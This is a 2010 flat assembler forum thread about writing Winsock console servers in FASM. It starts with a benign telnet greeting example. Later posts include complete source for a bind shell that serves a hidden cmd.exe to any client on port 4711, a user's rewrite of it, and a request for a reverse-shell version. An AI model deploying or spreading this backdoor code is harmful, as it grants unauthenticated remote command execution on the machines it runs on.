flat assembler
Message board for the users of flat assembler.

Index > Windows > Console Chat Help ;p

Goto page 1, 2  Next
Author
Thread Post new topic Reply to topic
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Hello everyone. I'm first here and interesting about winsock programming. I'm new at assembly so I don't understand other syntaxes and how it convert to fasm. anyway can anybody write just easy example of DOS chat using winsock ? Thank you. Smile and p.s it would be nice if it will be with telnet. Smile
Post 09 Sep 2010, 19:39
View user's profile Send private message Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
DOS as "Disk Operating System" or "Denial of Service"???
Post 09 Sep 2010, 19:51
View user's profile Send private message Reply with quote
MHajduk



Joined: 30 Mar 2006
Posts: 6034
Location: Poland
MHajduk
Hi Overflowz. Smile

Check this thread. You may find some interesting solutions there. Wink
Post 09 Sep 2010, 19:53
View user's profile Send private message Visit poster's website Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Hey MHajduk. Thanks for reply but that code dont seems for me simple Sad and is my question hard to imagine ? I need chat not Denial of Service!
Post 09 Sep 2010, 20:02
View user's profile Send private message Reply with quote
MHajduk



Joined: 30 Mar 2006
Posts: 6034
Location: Poland
MHajduk
Quetannon

Demonstration of using WinSock library to make TCP/IP connections. Written by Tomasz Grysztar.
Post 09 Sep 2010, 20:10
View user's profile Send private message Visit poster's website Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Thats GUI mate Sad I dont understand much from there.. I need just simple code who can write self. just little example here's idea how it should work: start server, bind on port 23, then someone telnet and when he'll type something appeared to me and reverse. from me to him. is there any way for this ? and also some example of client code. and 1 more thing. for example, program called SPARCZ its simple remote cdrom opener and its like waiting for incoming connections and commands. when client will connect to server, server asking for commands. and for example if command will be kill then program exists. some examples of this please Smile I cant translate from MASM to FASM cause I'm not much pro for that. Smile Thank you!
Post 09 Sep 2010, 20:24
View user's profile Send private message Reply with quote
MHajduk



Joined: 30 Mar 2006
Posts: 6034
Location: Poland
MHajduk
Yeah, I know that above mentioned examples may not be too simple for start but just try to analyse them (intensive use of MSDN pages also may help you).

All my knowledge about use of WinSock library I got exactly this way.


Last edited by MHajduk on 09 Sep 2010, 20:36; edited 1 time in total
Post 09 Sep 2010, 20:34
View user's profile Send private message Visit poster's website Reply with quote
rugxulo



Joined: 09 Aug 2005
Posts: 2341
Location: Usono (aka, USA)
rugxulo
I don't know jack about networking, esp. DOS-based! Winsock 1.x was supported in Richard Dawe's now-abandoned (DJGPP) libsocket 0.8.0, but I think they eventually dropped that (big surprise, NOT!) for Winsock 2.0, and even that was years and years ago. So that probably won't work anymore, esp. on NT-based (XP, Vista, 7) modern Windows.

You'll have better luck using WATT-32 or mbbrutman's or jhoffman's or MikeChambers' stuff, search the BTTR Forum archives or post specific inquiries there. (Or not, it's quite complex and doesn't look like fun. But hey, it's your life, heh.)
Post 09 Sep 2010, 20:36
View user's profile Send private message Visit poster's website Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
Lets clarify some aspect then: do you **REALLY** need this for DOS? Maybe you meant a Win32 console application?

As you can see in rugxulo's post (which greatly surprised me to know that winsock is/was actually available for DOS), you may be starting networking in the hard way.
Post 09 Sep 2010, 20:42
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Yes mate I know MSDN and reading from that but Im trying to figure out what to do first Razz

Yes I need win32 console app sorry Sad I though I should make post in DOS section cause of its console lol Very Happy sorry for my mistakes. Smile just some piece of code to work please Sad
Post 09 Sep 2010, 21:19
View user's profile Send private message Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
This is a modified example of something I've posted some time ago:
Code:
format pe console
include 'win32ax.inc'
entry start

BIND_PORT = $1700     ; 23 in big endian (telnet port)

;;;;;; Stuff not available in standard package
SOCKET_ERROR          = -1
WSAECONNREFUSED       = 10061

struct WSABUF
  len dd ?
  buf dd ?
ends
;;;;;;

; #### CODE
start:
      cinvoke printf, <"Calling WSAStartup", 10>
      invoke  WSAStartup, $0202, wsadata

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling socket", 10>
      invoke  socket, AF_INET, SOCK_STREAM, 0

      mov     ebx, eax
      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"Calling bind", 10>
      invoke  bind, ebx, saddr, sizeof.sockaddr_in

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling listen", 10>
      invoke  listen, ebx, 1

      test    eax, eax
      jnz     error

      invoke  printf, <"Calling accept (execution will stop here until a connection request is made)", 10>
      invoke  accept, ebx, NULL, NULL

      mov     edi, eax
      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"Calling closesocket (for listening socket)", 10>
      invoke  closesocket, ebx

      test    eax, eax
      jnz     error

      cinvoke printf, <"Calling send... ">
      invoke  send, edi, welcomeMessage, sizeof.welcomeMessage, 0

      cmp     eax, SOCKET_ERROR
      je      error

      cinvoke printf, <"%u bytes has been sent (buffer size is %u)", 10>, eax, sizeof.welcomeMessage

      cinvoke printf, <"Calling closesocket (for accepted socket)", 10>
      invoke  closesocket, edi ; This is indeed very important since without it nothing is recieved by the remote host when I tested it

      test    eax, eax
      jnz     error

exit:
      cinvoke printf, <"Shutting down...", 10>
      invoke  WSACleanup
      invoke  ExitProcess, 0

error:
      push    eax ; This push is parameter for printf
      invoke  WSAGetLastError
.show:
      cinvoke printf, <"Error condition detected, program aborted", 10, "WSAGetLastError = %X", 10, "EAX = %X", 10>, eax
      jmp     exit


; #### DATA
      saddr sockaddr_in AF_INET,\   ; sin_family
                        BIND_PORT,\ ; sin_port
                        0,          ; sin_addr
      store byte 0 at $-1           ; To ensure sin_zero[8] array will be filled with zeros (not currently needed, just defensive)

      welcomeMessage db "Greetings curious visitor, I'm going to kill this connection right now.", 13, 10,\
                          "Have a nice day (I don't really care, I'm just a computer anyway)",13, 10
      sizeof.welcomeMessage = $ - welcomeMessage

      wsadata WSADATA


align 4 ; Just to be safe
data import 
  library kernel32, 'kernel32.dll',\
          msvcrt, 'msvcrt.dll',\
          ws2_32, 'ws2_32.DLL'

  include 'API/KERNEL32.inc'

  import msvcrt,\
         printf, 'printf'

  include 'API/ws2_32.INC'
end data    


When you use "telnet localhost", you should see this in the program:
Code:
Calling WSAStartup
Calling socket
Calling bind
Calling listen
Calling accept (execution will stop here until a connection request is made)
Calling closesocket (for listening socket)
Calling send... 140 bytes has been sent (buffer size is 140)
Calling closesocket (for accepted socket)
Shutting down...    


And this in the telnet screen:
Code:
Greetings curious visitor, I'm going to kill this connection right now.
Have a nice day (I don't really care, I'm just a computer anyway)


Se ha perdido la conexión con el host.    
(Well, the last line will depend on your language)

Start studying that. Later you should study Quetannon, which will really provide you some basics of how to be able to recv and send at the same time. (I can't elaborate a full example myself right now)
Post 09 Sep 2010, 21:54
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Okay mate. Smile Thank you very much. Very Happy I'll study on this now.
Post 09 Sep 2010, 22:04
View user's profile Send private message Reply with quote
Picnic



Joined: 05 May 2007
Posts: 1287
Location: behind the arc
Picnic
Hi Overflowz,

Here is a fasm conversion of the sparcz server, quick and dirty job.
I run the server local and all commands seem to work on my windows xp.
Zip file includes some INC files which may needed. Have fun.

The commands are:

open <filename>
box <text>
kill
bye
cdopen
cdclos
line
msg <text>


Last edited by Picnic on 18 Jun 2012, 17:34; edited 1 time in total
Post 10 Sep 2010, 00:03
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Picnic, Thank you very much. This example will be more easy to learn for me. THANK YOU ! Smile
Post 10 Sep 2010, 00:11
View user's profile Send private message Reply with quote
Picnic



Joined: 05 May 2007
Posts: 1287
Location: behind the arc
Picnic
You're welcome.

Here is another simple winsock scipt i have on my HD.
It's a shell spawning win32 example written in fasm.

Program will load winsock, listen on a port, and spawn a cmd.exe shell when a connection is made.
Please do not consider this as a virus trojan or something like that.

Code:
    ;-------------------------------------------------------------------------------
    ; - ShellSpawner - Win32 Shell Spawning Example
    ; - Listens on port 4711
    ;-------------------------------------------------------------------------------
    ; - Program will load winsock, listen on a port,
    ;   and spawn a cmd.exe shell when a connection is made
    ;-------------------------------------------------------------------------------
    ; - 30 July 09, Picnic
    ;-------------------------------------------------------------------------------

    format PE CONSOLE

    include "include\win32ax.inc"

;-------------------------------------------------------------------------------

section ".data" data readable writeable

;-------------------------------------------------------------------------------

    IPPROTO_TCP = 6
    INADDR_ANY = 0
    INFINITE = -1
    PORT = 4711

    lpThreadId dd ?
    server dd ?
    saddrlen dd sizeof.sockaddr_in

    align 4
    WSAData WSADATA
    align 4
    lpStartupInfo STARTUPINFO
    align 4
    lpProcessInformation PROCESS_INFORMATION
    align 4
    saddr sockaddr_in

;-------------------------------------------------------------------------------

section ".text" code readable executable

;-------------------------------------------------------------------------------
entry $
    ; initialize the winsock library
    invoke WSAStartup, 0202h, addr WSAData
    test eax, eax
    jnz .exitA

    ; create a new socket
    invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0
    cmp eax, -1
    jz .exitB

    mov dword [server], eax

    ; set address family
    mov word [saddr.sin_family], AF_INET
    ; convert port number to network byte and store it
    invoke htons, PORT
    mov word [saddr.sin_port], ax
    ; let winsock choose my address
    invoke htonl, INADDR_ANY
    mov dword [saddr.sin_addr], eax

    ; assign address to socket
    invoke bind, dword [server], addr saddr, sizeof.sockaddr_in
    test eax, eax
    jnz .exitC

    ; puts socket in listening state
    invoke listen, dword [server], 1
    test eax, eax
    jnz .exitC

    .while 1
       ; loop forever waiting client to arrive.
       ; when a connection is accepted a new socket is created on the server side
        invoke accept, dword [server], addr saddr, addr saddrlen
        cmp eax, -1
        jz .exitC

       ; start a new thread
       ; new socket handle is passed to the thread as parameter
        invoke CreateThread, 0, 0, Thread_ShellSpawner, eax, 0, addr lpThreadId
    .endw

.exitC:
    ; closes server socket
    invoke closesocket, dword [server]
.exitB:
    ; cleans up the winsock library
    invoke WSACleanup
.exitA:
    ; exit application
    invoke ExitProcess, 0
    ret

;-------------------------------------------------------------------------------

align 4
proc Thread_ShellSpawner,\
    client:dword

    local lpBuffer[MAX_PATH+1]:BYTE

    ; retrieves the path of the Windows system directory
    invoke GetSystemDirectory, addr lpBuffer, MAX_PATH
    ; and changes the current directory
    invoke SetCurrentDirectory, addr lpBuffer

    ; specify main window properties
    mov dword [lpStartupInfo.cb], sizeof.STARTUPINFO
    mov dword [lpStartupInfo.lpReserved], 0
    mov dword [lpStartupInfo.lpTitle], 0
    mov dword [lpStartupInfo.dwFlags], STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
    mov word [lpStartupInfo.wShowWindow], SW_HIDE
    mov word [lpStartupInfo.cbReserved2], 0
    mov dword [lpStartupInfo.lpReserved2], 0
    mov eax, dword [client]
    mov dword [lpStartupInfo.hStdError], eax
    mov dword [lpStartupInfo.hStdInput], eax
    mov dword [lpStartupInfo.hStdOutput], eax

    ; finally, create shell
    invoke CreateProcess, 0, <"cmd.exe">, 0, 0, TRUE, 0, 0, 0, addr lpStartupInfo, addr lpProcessInformation

    ; call WaitForSingleObject with an infinite timeout
    invoke WaitForSingleObject, dword [lpProcessInformation.hProcess], INFINITE

    ; close client socket
    invoke closesocket, dword [client]
    ret
endp

;-------------------------------------------------------------------------------

section ".idata" import data readable writeable

;-------------------------------------------------------------------------------

    library kernel32,"KERNEL32.DLL",\
         ws2_32,"WS2_32.DLL"

    include "include\api\kernel32.inc"

    import ws2_32,\
       WSAStartup,"WSAStartup",\
       WSASocket,"WSASocketA",\
       htonl,"htonl",\
       bind,"bind",\
       htons,"htons",\
       listen,"listen",\
       accept,"accept",\
       closesocket,"closesocket",\
       WSACleanup,"WSACleanup"
    


Last edited by Picnic on 29 Aug 2014, 21:55; edited 1 time in total
Post 10 Sep 2010, 01:51
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Ahh, Thank you very much. It's easy to understand things like that for me ! Ty. also, can you show me how it should work with reverse ? Thanks.
Post 10 Sep 2010, 11:23
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Hey picnic, I have error. I tried to rewrite your code but I fail. Can you fix my code problems ? cause I tried 20 times with different ways but nothing successful.. Here's code and thanks.
Code:
format pe console 4.0
include 'win32ax.inc'
entry main
section '.data' data readable writeable
pInfo PROCESS_INFORMATION
sInfo STARTUPINFO
wsaData WSADATA
saddr sockaddr_in
saddrlen dd sizeof.sockaddr_in
server dd ?
cThread dd ?
section '.text' code readable executable
main:
invoke WSAStartup,0202h,wsaData
test eax,eax
jnz .exitA
invoke WSASocket,AF_INET,SOCK_STREAM,6,0,0,0
cmp eax,-1
jz .exitB
mov [server],eax
mov [saddr.sin_addr],0
mov [saddr.sin_family],AF_INET
invoke htons,23
mov [saddr.sin_port],ax
invoke bind,[server],saddr,sizeof.sockaddr_in
test eax,eax
jnz .exitC
invoke listen,[server],1
test eax,eax
jnz .exitC
invoke accept,[server],saddr,saddrlen
cmp eax,-1
jz .exitC
invoke CreateThread, 0, 0, Thread_Shell,eax,0,cThread
.exitC:
invoke closesocket,[server]
.exitB:
invoke WSACleanup
.exitA:
invoke ExitProcess,0
proc Thread_Shell client
mov [sInfo.cb],sizeof.STARTUPINFO
mov [sInfo.dwFlags],STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
mov [sInfo.wShowWindow],SW_HIDE
mov eax,[client]
mov [sInfo.hStdInput],eax
mov [sInfo.hStdOutput],eax
invoke CreateProcess,0,<"cmd.exe">,0,0,TRUE,0,0,0,sInfo,pInfo
invoke WaitForSingleObject,[pInfo.hProcess],-1
invoke closesocket,[client]
ret
endp
section '.idata' import data readable writeable
library kernel32,'KERNEL32.DLL',\
        ws2_32,'WS2_32.DLL'
include '\api\kernel32.inc'
include '\api\ws2_32.inc'
    

In error I mean, connection were successfull but no shell created just quitting normal. whats problem ? >.<
Post 11 Sep 2010, 10:41
View user's profile Send private message Reply with quote
Picnic



Joined: 05 May 2007
Posts: 1287
Location: behind the arc
Picnic
Without the while loop program ends, so ExitProcess terminates all threads.
Post 11 Sep 2010, 14:17
View user's profile Send private message Reply with quote
Overflowz



Joined: 03 Sep 2010
Posts: 1046
Overflowz
Nope mate, it should start Thread first and then comes command "WaitForSingleObject", then closesocket and then ExitProcess.. But, It doesnt going there.. When I'm starting program it just exists. not listening anything just exists quietly..
Post 11 Sep 2010, 14:52
View user's profile Send private message Reply with quote
Picnic



Joined: 05 May 2007
Posts: 1287
Location: behind the arc
Picnic
Overflowz i maybe wrong but i think that,

CreateThread creates a thread but it doesn't immediately execute it.
The code after CreateThread gets executed before the thread is ready.
So add something like invoke Sleep, 1000 after CreateThread and rem the WSACleanup line.
Post 11 Sep 2010, 16:21
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  
Goto page 1, 2  Next

< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2020, Tomasz Grysztar.

Powered by rwasa.